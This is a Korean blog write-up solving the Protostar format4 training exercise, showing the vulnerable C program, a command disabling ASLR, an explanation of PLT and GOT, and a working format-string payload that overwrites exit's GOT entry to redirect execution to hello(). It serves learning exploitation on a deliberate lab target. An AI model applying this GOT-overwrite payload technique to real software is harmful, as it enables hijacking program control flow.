protostar format4

assb
|2020. 11. 5. 19:52

old.liveoverflow.com/binary_hacking/protostar/format4.html

 

Format 4 - LiveOverflow

Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}

 이번 문제는 hello 함수를 실행시켜야 한다. exit(1) 코드를 사용해서 hello 함수를 호출하게 한다. 

 

echo 0 > /proc/sys/kernel/randomize_va_space

 먼저 aslr을 끈다. 

 

 다음으로는 hello 함수의 주소를 확인한다. objdump를 써도 되고, gdb를 사용해도 된다. 

 080484b4

 

 vuln 함수에서 exit 함수를 확인한다. exit@plt를 보면 첫번째 줄에 GOT 주소가 존재한다.

 PLT는 외부 프로시저를 연결해주는 테이블로, PLT를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있다. GOT란 PLT가 참조하는 테이블로, 프로시저들의 주소가 들어있다. 즉, PLT를 호출하면 GOT로 점프하는데, GOT에는 함수의 실제 주소가 쓰여있는 것이다.

 즉 GOT의 주소는 0x8049724이고, 해당 주소의 값을 hello 함수의 주소로 바꿔주면 exit() 함수가 실행될 때 hello 함수가 실행되게 된다.

 

  gdb를 사용해서 프로그램을 실행하며 GOT 주소의 값을 확인했다. GOT의 값이 0x080484b4가 되는 페이로드를 찾았다. 

 

 해당 페이로드를 사용하면 hello 함수가 실행되며 문제가 풀린다. 

(python -c 'print "\x24\x97\x04\x08"+"AAAA"+"\x26\x97\x04\x08"+"%x"*2+"%33949x"+"%n"+"%99152x"+"%n"')|./format4

 

 

참고사이트

 

PLT와 GOT 자세히 알기 1

Dynamic Linking 과정을 추적해 PLT와 GOT를 이해해보자 :) 시스템 해킹을 공부하시는 분들이라면 PLT와 GOT에 대해 알고 있을 것입니다. 이제 막 시스템 해킹 공부를 시작한 분들도 한 번 쯤 들어보셨을

bpsecblog.wordpress.com

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap1  (0) 2020.11.12
protostar heap0  (0) 2020.11.06
protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05
protostar format1  (0) 2020.11.05